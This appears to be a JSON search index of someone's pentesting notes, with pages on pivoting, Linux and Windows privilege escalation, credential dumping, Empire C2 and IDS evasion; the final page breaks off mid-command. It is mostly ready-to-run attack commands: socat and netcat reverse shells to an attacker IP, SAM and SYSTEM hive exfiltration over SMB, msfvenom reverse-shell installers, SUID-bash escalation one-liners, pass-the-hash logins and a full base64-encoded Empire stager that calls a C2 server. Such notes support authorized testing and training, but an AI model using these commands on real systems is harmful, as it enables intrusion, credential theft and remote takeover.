2 lines
415 KiB
JSON
2 lines
415 KiB
JSON
{"index":[{"content":"Pentesting* [Pentesting Execution Standard](http://www.pentest-standard.org/index.php/Main_Page)\nAuthorized audit of security systems of computers and networks.\n* [Rules of Engagement -- Cheat Sheet](https://sansorg.egnyte.com/dl/bF4I3yCcnt/?) and [redteam.guide ROEs](https://redteam.guide/docs/templates/roe_template/)\n * Permissions\n * Engagement --> internal/external pentest or adversary emulation of APTs\n * Scope --> networks, IPs, exfilration of data, which stage, downtime, DDoS\n * Rules\n* NDA\n\n## Campaign\n* [Checklist](https://redteam.guide/docs/checklists/red-team-checklist/)\n* [vectr.io](https://vectr.io)\n\n* Engagement --> Concept of Operations (CONOPS), Resource and Personnel Requirements, Timelines\n* Operations --> Operators, Known Information, Responsibilities\n* Mission --> Exact commands to run and execution time of the engagement\n* Remediation --> Report, Remediation consultation\n\n## Methodology\n\n* Steps\n * Reconnaissance\n * Enumeration/Scanning\n * Gaining Access\n * Privilege Escalation\n * Covering Tracks\n * Reporting\n\n### Reconnaissance\n* Duck / SearX / metacrawler / google\n* Wikipedia\n* [Shodan.io](http://www.shodan.io)\n* PeopleFinder.com\n* who.is\n* sublist3r\n* hunter.io\n* builtwith.com\n* wappalyzer\n\n### Enumeration\n* nmap\n* nikto\n* gobuster\n* dirbuster\n* metasploit\n* enum4linux / linpeas / winpeas / linenum\n\n### Exploitation\n\n### Post Exploitation\n* Pivoting\n#### Privilege Escalation\n* Vertically or horizontally\n\n#### Covering Tracks\n\n#### Reporting\n* Includes\n * Vulnerabilities\n * Criticality\n * Description\n * Countermeasures \n * Finding summary\n\n## Frameworks\n* [OSSTMM3](https://www.isecom.org/OSSTMM.3.pdf)\n* [NIST](https://www.nist.gov/cyberframework)\n* [CAF](https://www.ncsc.gov.uk/collection/caf/caf-principles-and-guidance)\n\n## Testing Webapps\n\n* Two methods\n1. Every Page and its functions one by one\n2. Test by stages \n * Authorization\n * Authentication\n * Injection\n * Client Side Controls\n * Application Logic\n","description":"","tags":[],"title":"Pentesting","uri":"/README.html"},{"content":"Pivoting\n* Tunnelling/Proxying\n* Port Forwarding\n\n## Enumeration \n### Using material found on the machine and preinstalled tools\n* `arp -a`\n* `/etc/hosts` or `C:\\Windows\\System32\\drivers\\etc\\hosts`\n* `/etc/resolv.conf`\n* `ipconfig /all`\n* `nmcli dev show`\n* [Statically compiled tools](https://github.com/andrew-d/static-binaries.git)\n\n### Scripting Techniques\n```sh\nfor i in {1..255}; do (ping -c 1 192.168.0.${1} | grep \"bytes from\" &); done\nfor i in {1..65535}; do (echo > /dev/tcp/192.168.0.1/$i) >/dev/null 2>&1 && echo $i is open; done\n```\n* Using local tools through a proxy like `nmap`\n\n## Tools\n\n* Enumerating a network using native and statically compiled tools\n\n### Proxychains / FoxyProxy\n\n* In need of dynamic port forwarding execute a reverse proxy on the jumpserver to reach the attacker's proxychains\n ```sh\n ssh <username>@$ATTACKER_IP -R 9050 -N\n ```\n* Proxychains, e.g. scan target via nmap, or connect via nc through jump server\n ```sh\n proxychains nc <IP> <PORT>\n proychains nmap <IP>\n proxychains ssh user@$TARGET_IP\n proxychains evil-winrm -i $TARGET_IP -u $USER -p $PASS\n proxychains wget http://$TARGET_IP:8000/loot.zip\n ```\n * Use `/etc/proxychains.conf` or `./proxychains.conf`containing:\n ```sh\n [ProxyList]\n # add proxy here ...\n # meanwhile\n # defaults set to \"tor\"\n socks4 127.0.0.1 9050\n #socks5 127.0.0.1 1337\n # proxy_dns\n ``` \n* FoxyProxy, choose proxy type, proxy IP and port in settings \n\n### SSH port forwarding and tunnelling (primarily Unix)\n\n* LocalPortForwarding\n ```sh\n ssh -L $LOCAL_PORT:<IP_seen_from_Jumpserver>:<Port_seen_from_Jumpserver> <user>@<Jumpserver> -fN\n ```\n * Another possibility to use the jumpserver directly on it's cli via `ssh <username>@<jumpserver> -L *:$LOCAL_PORT:127.0.0.1:80 -N`. One can connect now to the target via the jumpserver\n * Tip: open port on windows target via\n ```sh\n netsh advfirewall firewall add rule name=\"new port\" dir=in action=allow protocol=TCP localport=%PORT%\n ```\n\n* Dynamic Port Forwarding\n ```sh\n ssh -D $PORT <user>@<Jumpserver> -fN\n ```\n\n* Reverse Proxy, if there is an SSH client on the jumpserver but no SSH server via\n ```sh\n ssh -R $LOCAL_PORT:$TARGET_IP:$TARGET_PORT USERNAME@$ATTACKER_IP(local) -i $KEYFILE -fN\n ```\n * Tip1: create a user on the attacker to receive the connection without compromising your own password\n * Tip2: use `-N` to not receive an interactive shell. The attacking user does not necessarily have one on the target\n\n### plink.exe (Windows)\n* [latest version](https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html)\n```sh\ncmd.exe /c echo y | .\\plink.exe -R <LocalPort>:<TargetIP>:<TargetPort> <user>@<Jumpserver> -i <key> -N\n```\n* Key generation\n ```sh\n puttygen <keyfile> -o key.ppk\n ```\n* Circumvention, described by [U.Y.](https://medium.com/@informationsecurity/remote-ssh-tunneling-with-plink-exe-7831072b3d7d) \n```sh\necho y | &.\\plink.exe -ssh -l <MYUSERNAME> -pw <MYPASSWORD> -R <MYIP>:<MYPORT>:127.0.0.1:<TARGETPORT> <MYIP>\n```\n\n### Socat\n\n* Reverse shell on target via\n ```sh\n ./socat tcp-l:8000 tcp:<attacker-IP>:443 &\n ```\n * Attacking bind shell\n ```sh\n sudo nc -lvnp 443\n ```\n\n* Relay on jumpserver via\n ```sh\n ./socat tcp-l:33060,fork,reuseaddr tcp:<TargetIP>:3306 &\n ```\n\n* Quiet Port Forwarding\n * On attacker\n ```sh\n socat tcp-l:8001 tcp-l:8000,fork,reuseaddr &\n ```\n * On relay server\n ```sh\n ./socat tcp:<attacker-IP>:8001 tcp:<TargetIP>:<TargetPort>,fork &\n ```\n * Open `localhost:8000`\n\n* Processes are backgrounded via `&`. Therefore, the process can be quit by using the corresponding bg number like `kill %1`.\n\n* In need of a Download on target, expose a port on the attacker via relay\n ```sh\n socat tcp-l:80,fork tcp:$ATTACKER_IP:80\n ```\n\n### Chisel\n* **Does not require SSH on target**\n* Reverse Proxy\n * Bind port on attacker\n ```sh\n ./chisel server -p <ListeningPort> --reverse &\n ```\n * Reverse port on target/proxy\n ```sh\n ./chisel client <attacker-IP>:<attacker-Port> R:socks &\n ```\n * `proxychains.conf` contains\n ```sh\n [ProxyList]\n socks5 127.0.0.1 <Listening-Port>\n ```\n\n* Forward SOCKS Proxy\n * Proxy/compromised machine\n ```sh\n ./chisel server -p <Listen-Port> --socks5\n ```\n * On attacker\n ```sh\n ./chisel client <target-IP>:<target-Port> <proxy-Port>:socks\n ```\n* Remote Port Forward\n * On attacker\n ```sh\n ./chisel server -p <Listen-Port> --reverse &\n ```\n * On forwarder\n ```sh\n ./chisel client <attacker-IP>:<attackerListen-Port> R:<Forwarder-Port>:<target-IP>:<target-Port> &\n ```\n* Local Port Forwarding\n * On proxy\n ```sh\n ./chisel server -p <Listen-Port>\n ```\n * On attacker\n ```sh\n ./chisel client <Listen-IP>:<Listen-Port> <attacker-IP>:<target-IP>:<target-Port>\n ```\n\n### sshuttle\n* `pip install sshuttle`\n* `sshuttle -r <user>@<target> <subnet/CIDR>`\n* or automatically determined\n```sh\nsshuttle -r <user>@<target> -N\n```\n* Key based auth\n```sh\nsshuttle -r <user>@<target> --ssh-cmd \"ssh -i <key>\" <subnet/CIDR>\n```\n* Exclude servers via `-x`, for example the target/gateway server\n\n### Meterpreter\n* Meterpreter with payload `set payload linux/x64/meterpreter_reverse_tcp` after successful connection do\n```sh\nportfwd add -l 22 -p 22 -r 127.0.0.1\n```\n\n#### Meterpreter Auto Routing\n\n* Upload payload and catch it with `multi/handler`\n```\nbackground\nuse post/multi/manage/autoroute\nset session 1\nset subnet <10.0.0.0>\nrun\n```\n\n#### Meterpreter Proxy Routing\n\n* Specify socks proxy via\n```sh\nuse auxiliary/server/socks_proxy\n```\n* Set proxychain on attacker accordingly\n\n### rpivot\n\n* [klsecservices' repo](https://github.com/klsecservices/rpivot.git)\n* [Their windows binary release](https://github.com/klsecservices/rpivot/releases/tag/v1.0)\n\n## Links\n\n* [Shadowmove at the adepts of 0xcc](https://adepts.of0x.cc/shadowmove-hijack-socket/)\n","description":"","tags":[],"title":"Pivoting","uri":"/post exploitation/pivoting.html"},{"content":"Linux Exploit Suggester 2\n=========================\n\nNext-generation exploit suggester based on [Linux_Exploit_Suggester](https://github.com/PenturaLabs/Linux_Exploit_Suggester)\n\nKey Improvements Include:\n* More exploits! (Last updated: March 27, 2019)\n* Option to download exploit code directly from Exploit DB\n* Accurate wildcard matching. This expands the scope of searchable exploits.\n* Output colorization for easy viewing.\n* And more to come!\n\nThis script is extremely useful for quickly finding privilege escalation vulnerabilities both in on-site and exam environments. \n\nUsage\n==============\n\nWhen run without arguments, the script performs a 'uname -r' to grab the Linux operating system release version, and returns a list of possible exploits. Links to CVEs and applicable exploit POCs are included. Keep in mind that a patched/back-ported patch may fool this script.\n\n```\n$ ./linux-exploit-suggester.pl\n\n Local Kernel: 4.4.0\n Searching among 73 exploits...\n\n Possible Exploits\n [1] af_packet\n CVE-2016-8655\n Source: http://www.exploit-db.com/exploits/40871\n [2] dirty_cow\n CVE-2016-5195\n Source: http://www.exploit-db.com/exploits/40616\n [3] exploit_x\n CVE-2018-14665\n Source: http://www.exploit-db.com/exploits/45697\n [4] get_rekt\n CVE-2017-16695\n Source: http://www.exploit-db.com/exploits/45010\n```\n\nUse the **-k** flag to manually enter a wildcard for the kernel/operating system release version.\n\n```\n$ ./linux-exploit-suggester.pl -k 3\n```\n\nUse the **-d** flag to open a download menu to retrieve exploit code directly from Exploit DB. You can either download all exploits or select them individually by number.\n\n```\n$ ./linux-exploit-suggester.pl -d\n\n Exploit Download\n (Download all: 'a' / Individually: '2,4,5' / Exit: ^c)\n Select exploits to download: a\n\n Downloading https://www.exploit-db.com/raw/40871 -> exploit_af_packet\n Downloading https://www.exploit-db.com/raw/40616 -> exploit_dirty_cow\n Downloading https://www.exploit-db.com/raw/45697 -> exploit_exploit_x\n Downloading https://www.exploit-db.com/raw/45010 -> exploit_get_rekt\n```\n\nUse the **-h** flag to display the help menu\n\nContributing\n============\n\nThis project is in active development. Feel free to suggest a new feature or open a pull request!\n","description":"","tags":[],"title":"","uri":"/post exploitation/priv_esc/kernel-exploits/linux-exploit-suggester-2/README.html"},{"content":"pspy\n* Snoop processes withou root permissions\n* [Repo](https://github.com/DominicBreuker/pspy.git)\n\n","description":"","tags":[],"title":"pspy","uri":"/post exploitation/priv_esc/docs/pspy.html"},{"content":"Linux Privilege Escalation\n## Links\n* [Basics](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\n* [LinEnum](https://github.com/rebootuser/LinEnum)\n* [Smart Enumeration](https://github.com/diego-treitos/linux-smart-enumeration/blob/master/lse.sh)\n* [Linux Exploit Suggester](https://github.com/mzet-/linux-exploit-suggester)\n* [GTFObins](https://gtfobins.github.io/) \n* [Linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)\n\n## Kernel Exploits\n\n### Dirty COW\n* [CVE-2016-5195](https://dirtycow.ninja/)\n* [c0w.c](../kernel-exploits/dirtycow)\n\n## Stored Keys & Passwords\n* History\n* Environment Variables \n* Config + Dot Files\n* SSH keys\n```sh\nfind / -type f -name \"authorized_keys\" -o -name \"id_rsa\" 2>/dev/null\n```\n\n## Permissions\n* Weak permissions\n* Umask\n* Unshadow via `unshadow /etc/passd /etc/shadow > unshadow.txt` and john or hashcat.\n * e.g. `john --wordlist=./wordlist --format=crypt hash`\n* SUID\n * list\n ```sh\n find / -perm /6000 -ls 2>dev/null\n ```\n * [Shared object injection](../../../exploit/linux/shared_object_injection.md)\n * [CVE-2016-1247](https://www.cvedetails.com/cve/CVE-2016-1247/)\n* User specific files\n```sh\nfind / -user root -name \"*.txt\"\n```\n\n## Sudo Binary\n* [Baron Samedit](../../../exploit/linux/sudo/baron_samedit.md)\n* [CVE-2019-14287](../../../exploit/linux/sudo/CVE_2019_14287.md)\n* [CVE-2019-18634](../../../exploit/linux/sudo/CVE_2019_18634.md)\n* [LD_PRELOAD](../../../exploit/linux/ld_preload.md)\n* `sudo -l` \n * Take a look at GTFObins\n * Keep an eye on the displayed host and env capabilities \n \n## PATH Hijacking\n* Interpositioning binaries via PATH\n * Look for binaries used in other bins and scripts\n * Interposition name and add the directory in front of `$PATH`\n\n## Bash function\n* Interpositioning of binaries via bash functions\n```sh\nfunction /path/to/binary() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }\n```\n```sh\nexport -f /path/to/binary\n```\n* Call binary which invokes this function\n\n## Environment Variable\n```sh\nenv -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '<binary>; set +x; /tmp/bash -p'\n```\n\n## Capabilities\n* [capabilities](../../../exploit/linux/capabilities.md)\n\n## Crontab\n* Check `cat /etc/crontab`\n* Check writable scripts and binaries that are scheduled\n* Check `$PATH` order\n\n## NFS Rootsquash\n* [nfs rootsquash](../../../exploit/linux/nfs_rootsquash.md)\n","description":"","tags":[],"title":"Linux Privilege Escalation","uri":"/post exploitation/priv_esc/docs/linux_priv_esc.html"},{"content":"Windows Privilege Escalation\n## Links\n* [Fundamentals](https://www.fuzzysecurity.com/tutorials/16.html)\n* [PowerShellEmpire](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp)\n* [JAWS](https://github.com/411Hall/JAWS)\n* [winpeas](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS)\n* [privescheck](https://github.com/itm4n/PrivescCheck)\n* [windows exploit suggester](https://github.com/bitsadmin/wesng)\n* [hacktricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)\n\n## Account Types\n\n* __Administrator__ local & domain\n* __Standard__ local & domain\n* __Guest__\n* __System__, local system, final escalation\n* __Local Service__, got anonymous connections over network.\n* __Network Service__, default service account, authentication via network\n## Enumeration\n\n### Users & Groups\n```sh\nwhoami /priv\nnet users\nnet users <username>\nnet localgroup\nnet localgroup <groupname>\nquery session\nqwinsta\n```\n\n### Files\n\n* [powershell](../../../../enumeration/windows/powershell.md)\n\n### System\n```sh\nhostname\nsysteminfo | findstr /B /C:\"OS Name\" /C:\"OS Version\"\n```\n* Installed software, check for existing exploits\n```sh\nwmic product get name,version,vendor\n```\n* Services\n```sh\nwmic service list brief | findstr \"Running\"\n```\n\n## Exploit\n\n### DLL Hijacking\n* [DLL hijacking](../../../../exploit/windows/dll_hijacking/dll_hijacking.md)\n\n### Unquoted Service Path\n* [unquoted service path](../../../../exploit/windows/docs/unquoted_path.md)\n\n### Token Impersonation\n* `SeImpersonatePrivilege` is necessary, check via `whoami priv`\n* Hot Potato is best before Server 2019 and Windows 10 (version 1809)\n* [Potatos](../../../../exploit/windows/docs/potatoes.md)\n* [itm4n](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)\n\n### Schedules Tasks\n\n* `schtasks` and `schtasks /query /tn %TASK_NAME% /fo list /v`\n* `Autoruns64.exe`\n\n### MSI Elevated Installer\n\n* [Always install elevated](../../../../exploit/windows/docs/always_installed_elevated.md)\n\n### Search for Credentials\n```sh\ncmdkey /list\n```\n* Use found credentials\n```sh\nrunas /savecred /user:<user> reverse_shell.exe\n```\n* Keys containing passwords\n```\nreg query HKLM /f password /t REG_SZ /s\nreg query HKCU /f password /t REG_SZ /s\n```\n\n### accesschk64 Permissions\n* Check access to files and folders\n```sh\naccesschk64 -wvu \"file.exe\"\n```\n* If permission `SERVICE_CHANGE_CONFIG` is set\n```sh\n sc config <service> binpath=\"net localgroup administrators user /add\"\n```\n* [Service escalation](../../../../exploit/windows/service_escalation/service_escalation.md)\n* Any other binary works as well. Copy the compiled portable executable from the `service_escalation` onto the binary path.Restart the service afterwards.\n\n#### accesschk64 for Services\n```sh\naccesschk64 -qlc \"service.exe\"\n```\n* If permission `SERVICE_ALL_ACCESS` is set it is configurable upload a reverse shell\n```sh\nicacls C:\\Windows\\Temp\\shell.exe /grant Everyone:F\n```\n* Reconfigure and restart service\n```sh\nsc config TheService binPath= \"C:\\Path\\to\\shell.exe\" obj= LocalSystem\nsc stop TheService\nsc start TheService\n```\n\n### Startup Application\n* Put reverse shell instead of an executable inside `C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup` \n\n### Password Mining\n* Set up metasploit\n```sh\nuse auxiliary/server/capture/http_basic\nset srvport 7777\nset uripath pass\n```\n* Visit site on target\n\n### Unattended Windows Installation\n\n* Investigate the following paths to potentially find user credentials\n```sh\nC:\\Unattend.xml\nC:\\Windows\\Panther\\Unattend.xml\nC:\\Windows\\Panther\\Unattend\\Unattend.xml\nC:\\Windows\\system32\\sysprep.inf\nC:\\Windows\\system32\\sysprep\\sysprep.xml\n```\n* Watch out for the `<Credentials>` tags\n\n### Powershell History file\n\n```sh\nGet-Content %userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt\n```\n\n### Internet Information Services (IIS)\n\n* Default web server on windows\n* Paths containing credentials are the following\n```sh\nC:\\inetpub\\wwwroot\\web.config\nC:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\web.config\n```\n\n### Putty \n\n* Saved proxy password credentials may be found via\n```sh\nreg query HKEY_CURRENT_USER\\Software\\SimonTatham\\PuTTY\\Sessions\\ /f \"ProxyPassword\" /s\n```\n\n### schtask and icacls\n\n* Check `schtasks /query /tn %TASK_NAME% /fo list /v`\n* Check script for scheduled tasks, `F` means full access\n```sh\nicacls <PathToScript>\n```\n* Put payload inside the script\n```sh\necho \"C:\\tmp\\nc.exe -e cmd.exe %ATTACKER_IP% 4711\" > <PathToSript>\n```\n* Run the task\n```sh\nschtasks /run /tn <taskname>\n```\n\n### Always Installs Elevated\n\n* These should be set\n```sh\nC:\\> reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer\nC:\\> reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer\n```\n\n* Craft `*.msi` file with a payload\n```sh\nmsfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f msi -o wizard.msi\n```\n\n* Upload and execute via\n```sh\nmsiexec /quiet /qn /i C:\\Windows\\Temp\\wizard.msi\n```\n\n### Service Misconfiguration\n\n* Check services, watch out for `BINARY_PATH_NAME` and `SERVICE_START_NAME`\n```sh\nsc qc apphostsvc\n```\n* Check found permissions via\n```sh\nicacls <BINARY_PATH_NAME>\n```\n* If the service binary path is writeable move the payload to its path and grant permissions\n```sh\nicacls <Payload_Service.exe> /grant Everyone:F\n```\n```sh\nsc stop <service>\nsc start <service>\n```\n* Catch the reverse shell service\n\nOthers ways are:\n* Discretionary Access Control (DACL) can be opened via right click on the service and go to properties\n* All services are stored under `HKLM\\SYSTEM\\CurrentControlSet\\Services\\`\n\n### Unquoted Service Path\n\n* If `BINARY_PATH_NAME` spaces are escaped incorrectly. Its path will be resolved to every space from left to right. If there is a binary with a matching name inside the directory it will be started.\n* A created directory at install time inherits the permissions from its parent. Check it via\n```sh\nicacls <directory>\n```\n* Use `service-exe` payload in msfvenom upload the payload and move it on the path with the a fitting parital name of the service path\n* Set permissions\n```sh\nicacls C:\\Path/to/service.exe /grant Everyone:F\n```\n\n### Permissions\n\n* [priv2admin](https://github.com/gtworek/Priv2Admin)\n* `whoami /priv`\n\n#### SeBackup / Restore\n* If `SeBackup / SeRestore` (rw on all files) is set an elevated `cmd.exe` may be opened\n* Download `SAM` and `System` hashes\n```sh\nreg save hklm\\system C:\\Windows\\Temp\\system.hive\nreg save hklm\\sam C:\\Windows\\Temp\\sam.hive\n```\n* Start smb server on attack machine\n```sh\ncopy C:\\Windows\\Temp\\sam.hive \\\\ATTACKER_IP\\\ncopy C:\\Windows\\Temp\\system.hive \\\\ATTACKER_IP\\\n```\n* Dump the hashes\n```sh\nsecretsdump.py -sam sam.hive -system system.hive LOCAL\n```\n* Use pass the hash to login \n```sh\npsexec.py -hashes <hash> administrator@$TARGET_IP\n```\n\n#### SeTakeOwnership\n* If `SeTakeOwnership` is set one can take ownership of every file or service.\n```sh\ntakeown /f C:\\Windows\\System32\\Utilman.exe\nicacls C:\\Windows\\System32\\Utilman.exe /grant <user>:F\ncopy cmd.exe utilman.exe\n```\n* Log out, on the Login screen click on `Ease of Access`\n\n\n#### SeImpersonate / SeAssignPrimaryToken\n\n* It is a rouge potato\n* Execute process as another user\n* Service accounts operate through impersonation\n* Check privileges via `whoami /priv` for these \n* __Object Exporter Identifier (OXID)__ is executed as via DCOM as a resolver on port 135 to socket of attacker\n```sh\nsocat tcp-listen:135 reuseaddr,fork tcp:$TARGET_IP:1234\n```\n* Catch the potatoe executable from target via netcat\n\n","description":"","tags":[],"title":"Windows Privilege Escalation","uri":"/post exploitation/priv_esc/docs/windows/windows_priv_esc.html"},{"content":"Add user as system user```sh\nnet user <username> <password> /add\n```\n```sh\nnet localgroup Administrator <username> /add\n```\n```sh\nnet localgroup \"Remote Management Users\" <username> /add\n```\n```sh\nnet user <username>\n```\n* connect via winRM\n\n\n","description":"","tags":[],"title":"Add user as system user","uri":"/post exploitation/priv_esc/docs/windows/add_user.html"},{"content":"Usage## Adhoc upload to target via http server\n* on local attacker\n```python3 -m http.server 8000```\nor \n```python -m SimpleHTTPServer```\n\n* on target\n```wget http://<attacker-ip>:8000/<script>```\n```chmod +x <script>```\n\n## Copy to editor via clipboard\n* vi, nano, heredoc\n```chmod +x <script>```\n","description":"","tags":[],"title":"Usage","uri":"/post exploitation/priv_esc/privesc-scripts/docs/get_script_onto_target.html"},{"content":"Crackmapexec\n* Dictionary attack against SMB\n```sh \ncme smb domain.name -u <user> s -p /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt\n```\n* Use the password with `impacket/examples/psexec.py` in the following way\n```sh\npsexec.py domain.name/<user>:<password>@<target-IP>\n```\n\n## Shares\n\n* Check user permissions on shares\n``sh\ncrackmapexec smb 10.200.x.0/24 -u <user> -p <password> --shares\n```\n\n## SMB\n* Check user hash on the network via smb\n```sh\n crackmapexec smb 10.200.x.0/24 -u <user> -d <domain> -H <hash>\n```\n\n\n","description":"","tags":[],"title":"Crackmapexec","uri":"/post exploitation/docs/crackmapexec.html"},{"content":"NFS NO ROOT SQUASH\n* Mount nfs locally and gain root\n\n\n## Craft a Shell\n```sh\nmsfvenom -p linux/x86/exec CMD=\"/bin/bash -p\" -f elf -o /tmp/nfs/shell.elf\n```\n* Copy to target and use it\n```sh\n./shell.elf -p\n```\n","description":"","tags":[],"title":"NFS NO ROOT SQUASH","uri":"/post exploitation/docs/nfs_root_squash.html"},{"content":"Powershell\n## HashDump\n```sh\nsave HKLM\\SAM C:\\Users\\Administrator\\Desktop\\SAM\nsave HKLM\\SAM C:\\Users\\Administrator\\Desktop\\System\n```\n* Use `samdump2`\n\n## Extract Hashes\n* Extract via smb server on attacker\n```\ncopy C:\\Windows\\Repair\\SAM \\\\<attacker-IP>\\dir\\\ncopy C:\\Windows\\Repair\\SYSTEM \\\\<attacker-IP>\\dir\\\n```\n* Crack via [creddump7](git clone https://github.com/Tib3rius/creddump7)\n```\npython pwdump.py SYSTEM SAM\n```\nor\n```\nhashcat -m 1000 --force <hash> /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt\n```\n\n","description":"","tags":[],"title":"Powershell","uri":"/post exploitation/docs/powershell.html"},{"content":"Empire C2\n* [Empire Repo](https://github.com/BC-SECURITY/Empire.git)\n\n## Start Client and Server\n```sh\npoetry run python empire --server --rest --notifications\npoetry run python empire.py client\n```\n\n## Parts\n* __Listeners__ receive connections from stagers\n* __Stagers__ payloads generated, for example a reverse, delivery mechanism for agents\n* __Agents__ remote on target device tasks\n* __Modules__ use modularized payload on agents\n* __Credentials__\n* __Report__ information on devices\n\n* Results are stored in a DB\n\n## Commands\n### uselistener\n* Example\n```sh\nuselistener http\n```\n* msf like commands, run listener\n```sh\nset <option> <value>\noptions\nexecute\n```\n* go back to main menu\n```sh\nback\nmain\n```\n* Check `listeners`\n* `kill <listener>`\n\n### usestager\n```sh\nusestager multi/launcher\nusestager multi/bash\n```\n* Set the listener created under `uselistener`\n```sh\nset Listener <Listener>\n```\n* `execute`, output is for example:\n```sh\necho \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUpCm91dCwgZXJyID0gcHMuY29tbXVuaWNhdGUoKQppZiByZS5zZWFyY2goIkxpdHRsZSBTbml0Y2giLCBvdXQuZGVjb2RlKCdVVEYtOCcpKToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliLnJlcXVlc3Q7ClVBPSdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IFdPVzY0OyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbyc7c2VydmVyPSdodHRwOi8vMTAuNTAuMTg0LjQ5OjgwMDAnO3Q9Jy9uZXdzLnBocCc7cmVxPXVybGxpYi5yZXF1ZXN0LlJlcXVlc3Qoc2VydmVyK3QpOwpwcm94eSA9IHVybGxpYi5yZXF1ZXN0LlByb3h5SGFuZGxlcigpOwpvID0gdXJsbGliLnJlcXVlc3QuYnVpbGRfb3BlbmVyKHByb3h5KTsKby5hZGRoZWFkZXJzPVsoJ1VzZXItQWdlbnQnLFVBKSwgKCJDb29raWUiLCAic2Vzc2lvbj16bWNwNFJXb3d1MU9majBEa0dQVkZaK0RKTUE9IildOwp1cmxsaWIucmVxdWVzdC5pbnN0YWxsX29wZW5lcihvKTsKYT11cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSkucmVhZCgpOwpJVj1hWzA6NF07ZGF0YT1hWzQ6XTtrZXk9SVYrJ0NqT2cyUzpvbSp5PSg0YVs5LkBaVzNEP2ROTEdlez5CJy5lbmNvZGUoJ1VURi04Jyk7UyxqLG91dD1saXN0KHJhbmdlKDI1NikpLDAsW10KZm9yIGkgaW4gbGlzdChyYW5nZSgyNTYpKToKICAgIGo9KGorU1tpXStrZXlbaSVsZW4oa2V5KV0pJTI1NgogICAgU1tpXSxTW2pdPVNbal0sU1tpXQppPWo9MApmb3IgY2hhciBpbiBkYXRhOgogICAgaT0oaSsxKSUyNTYKICAgIGo9KGorU1tpXSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCiAgICBvdXQuYXBwZW5kKGNocihjaGFyXlNbKFNbaV0rU1tqXSklMjU2XSkpCmV4ZWMoJycuam9pbihvdXQpKQ=='));\" | python3 &\n```\n* run this on the target\n\n### agents\n* `agents` checks the deployed agents \n* `interact <AgentName>`\n* `help` in interaction context\n* `kill <AgentName>`\n\n## Create Hop Listener\n```sh \nuselistener http_hop\n```\n```sh\nset RedirectListener <ExistingListenerName>\n```\n```sh\nset Host <IPofRelay>\n```sh\nset Port <PortonRelay>\n```\n* `execute` and check files under `/tmp/http_hop/news.php`, `/tmp/http_hop/admin/get.php`, `/tmp/http_hop/login/process.php`\n\n* `usestager multi/handler`\n* `set Listener http_hop`\n* on Relay: `php -S 0.0.0.0:PORT &>/dev/null &`\n\n* usemodule powershell/privesc/sherlock on agent for example\n\n### Interactive shell\n","description":"","tags":[],"title":"Empire C2","uri":"/post exploitation/docs/empire.html"},{"content":"Secretsdump\nMimikatz for the network!\n* Part of Impacket\n\n## Usage\n* IP and domain controller name only.\n```sh\nsecretsdump.py -just-dc -no-pass <dc-name>\\$@<dc-ip>\n```\n\n* Dumped domain credentials are the result. Example:\n```sh\nAdministrator:500:aad3b435b51404eeaad3b435b51404ee:3f3ef89114fb063e3d7fc23c20f65568:::\nGuest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\nkrbtgt:502:aad3b435b51404eeaad3b435b51404ee:2179ebfa86eb0e3cbab2bd58f2c946f5:::\n```\n\n* NTLM hashes of this dump can be used to feed `evil-winrm`. Example from above as Administrator + Hash\n```sh \nevil-winrm.rb -i 10.10.15.3 -u Administrator -H 3f3ef89114fb063e3d7fc23c20f65568\n```\n\n","description":"","tags":[],"title":"Secretsdump","uri":"/post exploitation/docs/secretsdump.html"},{"content":"IDS & IPS Evation\n* Evation by manipulation of \n * Tool parameters\n * Protocol\n * Payload\n * Route\n * Or DoS\n\n## Enumeration\n\n* [User-Agents](https://developers.whatismybrowser.com/useragents/explore/)\n\n### nmap\n* `--script-args http.useragent=\"<user-agent>\"`\n* `-Ss` half open\n\n### nikto\n\n* `-useragent <user-agent>`\n* Tuning `-T 1 2 3`\n* __NOT__`-evasion <encoding-technique>`, it increases detection\n\n## Protocol Manipulation\n\n### Relying on another protocol\n* `nc -ulvnp 4711` for listening to incoming UDP traffic\n* `nc -u $TARGET_IP $TARGET_PORT` for connecting through UDP\n\n### Manipulation of the source's or LHOST's network port\n* `nmap -g 80` or `nmap --source-port 53` to send outgoing nmap traffic through it\n\n### Session splicing by fragmentation and segmentation\n* `nmap` fragmentation in 8 bytes `-f`, 16 bytes `-ff`, `--mtu <size>` for MTU \n* Use [Fragroute](https://www.monkey.org/~dugsong/fragroute/) with `ip_frag <num>` in `fragroute.conf`, then use `fragroute -f fragroute.conf 